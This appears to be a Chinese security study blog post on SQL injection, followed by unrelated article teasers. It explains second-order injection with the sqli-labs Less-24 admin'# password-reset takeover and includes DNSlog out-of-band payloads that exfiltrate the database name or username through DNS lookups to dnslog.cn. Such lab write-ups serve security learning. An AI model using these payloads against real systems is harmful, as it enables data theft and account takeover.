day30 SQL注入CTF二次堆叠DNS带外

news2024/12/27 12:05:18

二次注入

  1. 原理

二次注入是存储型注入,可以理解为构造恶意数据存储在数据库后,恶意数据被读取并进入到了SQL查询语句所导致的注入。恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。详细点来讲,就是在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身还是脏数据。在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。二次注入无法通过扫描工具或者代码自己手工测试出来的,二次注入一般会产生在网站程序源代码才会发现的注入漏洞,从前端或者黑盒测试是看不到这个漏洞的。

  1. 过程

第一步:插入恶意数据

第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身包含恶意内容。

第二步:引用恶意数据

在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次需要进行查询的时候,直接从数据库中取出了恶意数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。

  1. 过程原理图

  1. 思路

a. 黑客通过构造数据的形式,在浏览器或者其他软件中提交HTTP数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了黑客构造的SQL语句或者命令。

b. 服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库中,保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。

c. 黑客向服务端发送第二个与第一次不相同的请求数据信息。

d. 服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的SQL语句或者命令在服务端环境中执行。

e. 服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功。

2. sqlilabs-less24-post登录框&二次注入

打开网页看到一个登陆界面,输入admin/admin后是修改密码的界面。改密码涉及到对数据库的记录进行替换,我们怀疑此处有一个 UPDATE 语句。

在任何界面进行注入应该都是无效的,因为操作失败时会跳转到其他页面,而没有任何例如错误的回显信息。此处考虑的就不是之前那些把敏感信息弄出来的注入了,而是考虑利用改密码操作夺取其他账号的控制权。此处我们考虑二次注入,首先我们构造一个特殊的用户,该用户的用户名为 “admin'#”,密码随便设

查看数据库,已经添加成功

 使用admin’#进行登录

登录成功后,更改密码为1234

密码更改成功

返回主界面使用账户:admin 密码:1234登录

登陆成功

此时如果将这个用户作为过滤条件实现记录的修改,该用户名后面的 “'#” 不仅能闭合字段,也能把后面的内容注释掉。而且成功闭合后,我们实际上操作的用户名应该是 “admin”。修改密码成功之后,使用用户名 “admin” 和我们修改的密码进行登录,发现我们夺去了该用户的密码,登录成功

网页源码

登录界面

functionsqllogin(){

$username=mysql_real_escape_string($_POST["login_user"]);

$password=mysql_real_escape_string($_POST["login_password"]);

$sql="SELECT * FROM users WHERE username='$username' and password='$password'";

//$sql = "SELECT COUNT(*) FROM users WHERE username='$username' and password='$password'";

$res=mysql_query($sql) ordie('You tried to be real smart, Try harder!!!! :( ');

$row=mysql_fetch_row($res); //print_r($row) ;

if ($row[1])

{

return$row[1];

}

else

{

return0; }

}

DNSlog注入

  1. 原理

首先需要有一个可以配置的域名,比如:ceye.io,然后通过代理商设置域名 ceye.io 的 nameserver 为自己的服务器 A,然后再服务器 A 上配置好 DNS Server,这样以来所有 ceye.io 及其子域名的查询都会到 服务器 A 上,这时就能够实时地监控域名查询请求了。DNS在解析的时候会留下日志,咱们这个就是读取多级域名的解析日志,来获取信息。简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息

  1. 利用场景

在sql注入时为布尔盲注、时间盲注,注入的效率低且线程高容易被waf拦截,又或者是目标站点没有回显,我们在读取文件、执行命令注入等操作时无法明显的确认是否利用成功,这时候就要用到我们的DNSlog注入。

  1. 推荐平台

a. DNSLog Platform

b. CEYE - Monitor service for security testing(需要注册)    

c. http://admin.dnslog.link

2.应用场景:

解决不回显,反向连接,SQL注入,命令执行,SSRF等

SQL注入:

select load_file(concat('\\\\',(select database()),'.7logee.dnslog.cn\\aa'));

and (select load_file(concat('//',(select database()),'.69knl9.dnslog.cn/abc'))) //调用load_file去执行访问dsnlog,把数据外带)

命令执行:

ping %USERNAME%.7logee.dnslog.cn

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/25636.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

成都地区一汽大众汽车4s店营销策略研究

目 录 第一章 绪论 1 1.1选题及意义 1 1.2 国内外现状 1 1.3研究主要内容 3 1.4研究方法 3 第二章 成都地区一汽大众汽车4S店营销市场调查分析 4 2.1调查目的 4 2.2调查过程 4 2.3数据分析与调查结果 4 2.4启示与思考 8 第三章 成都地区一汽大众汽车4S店SWOT分析 9 3.1成都地区…

过五关,斩六将!「网易/美团/菜鸟」已拿offer【Java岗】

经过两个月的辛苦奋战,最终拿到了网易、头条、字节、菜鸟的offer,感觉面试的时候还是很幸运的,很多题都是我之前刷题刷到过的,哈哈哈~~下面给广大网友们分享一下我的面经(网易/美团/菜鸟)供大家参考参考...…

python教程:*的用法,你可能错过了......

人生苦短,我用python python中*是非常常见的一个运算符,它主要有以下几个功能: 乘法运算符; 函数形参表示可变参数; 函数实参代表tuple; 序列解包为tuple; zip解包运算; 更多学习干…

SpringCloud学习笔记 - 消息总线 - Spring Cloud Bus

1. 消息总线简介 消息代理中间件构建了一个共用的消息主题让所有微服务实例订阅,当该消息主题产生消息时会被所有微服务实例监听和消费。 消息代理又是什么?消息代理是一个消息验证、传输、路由的架构模式,主要用来实现接收和分发消息&…

Java EE|进程与线程的区别与联系

大数据时代,数据规模非常庞大,所以我们在实际开发过程中,需要经常进行并发问题的处理。对于此问题,我们通常有两种解决方案:多进程方式和多线程方式。但是由于多进程对于资源的共享非常困难,而多线程并发可…

一个宁静祥和没有bug的下午和SqlSession的故事

作者:马跃 1 背景 这是一个安静祥和没有bug的下午。 作为一只菜鸡,时刻巩固一下基础还是很有必要的,如此的大好时机,就让我来学习学习mybatis如何使用。 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(i…

模拟退火--学习笔记

模拟退火算法来源: 固体退火原理,将固体加温至充分高,再让其徐徐冷却,加温时,固体内部粒子随温升变为无序状,内能增大,而徐徐冷却时粒子渐趋有序,在每个温度都达到平衡态&#xff0c…

【图神经网络论文整理】(三)—— HOW TO FIND YOUR FRIENDLY NEIGHBORHOOD:SuperGAT

ICLR 2021Dongkwan Kim & Alice Oh论文地址 本文介绍的论文是《HOW TO FIND YOUR FRIENDLY NEIGHBORHOOD: GRAPH ATTENTION DESIGN WITH SELF-SUPERVISION》。 该篇论文提出了一个新的网络模型SuperGAT,目的是解决当图中存在噪声能够学习到更多的表达注意力&a…

实体店做微信商城小程序制作步骤_分享微信商城小程序的作用

各行各业都在用微商城小程序开店,不管是餐饮店还是便利店,还是五金店。都是可以利用微信小程序开一个线上店铺。实现线上跟线下店铺更加全面的结合。维护好自己的老客户。让您的客户给您拉新,带来新客户。 小程序经过这几年的快速发展和不断升…

计算机毕业设计之java+ssm企业销售管理系统

项目介绍 本企业销售管理系统主要包括系统用户管理模块、商品信息模块、进货入库管理、员工信息管理、销售管理、登录模块、和退出模块等多个模块系统采用了jsp的mvc框架,SSM(springMvcspringMybatis)框架进行开发,本系统是独立的运行,不依附于其他系统&#xff0c…

Day4:写前端项目(html+css+js)

xiao效果&#xff1a; 页面布局 使用grid <div class"grid-container"><div><h1 class"uppercase ff-sans-cond letter-spacing-2 text-accent"> so, you want to travel to<span class"uppercase letter-spacing-2 fs-900 te…

【无线传感器】使用 Mamdani 模糊推理系统改进无线传感器网络路由和数据包传递(Matlab代码实现)

&#x1f468;‍&#x1f393;个人主页&#xff1a;研学社的博客 &#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜…

操作系统的奋斗(二)进程与线程

第二章 进程与线程2.1进程与线程2.1.1进程的概念、特征、状态与转换2.1.2进程的组织、控制、通信2.1.3进程和多线程模型2.2处理机调度2.2.1调度的概念、目标、实现2.2.2典型的调度算法2.2.3进程切换2.3同步与互斥2.3.1同步与互斥的基本概念2.3.2实现临界区互斥的基本办法2.3.3互…

泊松随机变量的分解与求和

1.泊松随机变量的分解 假设传感器发出的信号为0-1信号.发出1的概率为,发出0的概率为 ,并且和以前所发的信号独立.现在假设一定时间内发出信号的个数为泊松随机变量&#xff0c;其参数为, 可以证明在同一段时间内发出1的个数也是泊松随机变量&#xff0c;其参数为. 证明&#…

PTA题目 A除以B

真的是简单题哈 —— 给定两个绝对值不超过100的整数A和B&#xff0c;要求你按照“A/B商”的格式输出结果。 输入格式&#xff1a; 输入在第一行给出两个整数A和B&#xff08;−100≤A,B≤100&#xff09;&#xff0c;数字间以空格分隔。 输出格式&#xff1a; 在一行中输出…

Data-Efficient Backdoor 论文笔记

#论文笔记# 1. 论文信息 论文名称Data-Efficient Backdoor作者Pengfei Xia 中国科学技术大学会议/出版社IJCAI 2022pdf&#x1f4c4;在线pdf代码&#x1f4bb;pytorch概要&#xff1a;本文是 backdoor attack 中的数据加毒。不同于以往随机在干净数据中选择样本加毒的方法&am…

磁盘怎么删除分区,磁盘管理怎么删除分区

为了高效地利用磁盘分区&#xff0c;会删除部分磁盘分区&#xff0c;但是很多的用户都不知道应该怎么删除磁盘分区&#xff0c;所以&#xff0c;易我小编将讲解磁盘怎么删除分区。 一、为什么要删除磁盘分区 因为不同用户的磁盘分区管理需求不同&#xff0c;为了适应用户的具体…

spring boot yaml自定义配置传入代码

目录 一、在项目代码中&#xff0c;直接读取配置文件application.yml中的数据 二、通过yaml配置文件&#xff0c;给类注入数据 一、在项目代码中&#xff0c;直接读取配置文件application.yml中的数据 使用Value注解。 如&#xff1a; 在spring boot 中&#xff0c;applica…

Spring实战之容器、上下文、Bean的生命周期

一、Spring容器 在基于Spring的应用中&#xff0c;你的应用对象生存于Spring容器&#xff08;container&#xff09;中&#xff0c;Spring容器负责创建对象&#xff0c;装配它们&#xff0c;配置它们并管理它们的整个生命周期&#xff0c;从生存到死亡。&#xff08;在这里&am…

程序运行只是单单的编译吗?一文让你深入理解程序运行的过程

前言&#xff1a; 写了这么长时间的c语言代码&#xff0c;我们都没有想过为什么要写头文件吗&#xff0c;而程序执行的过程又是如何呢&#xff1f;只有编译吗 &#xff1f;要知道机器只能读懂二进制但我们所写的代码编译器是如何读懂的呢&#xff1f;这一篇文章看后一定能解决以…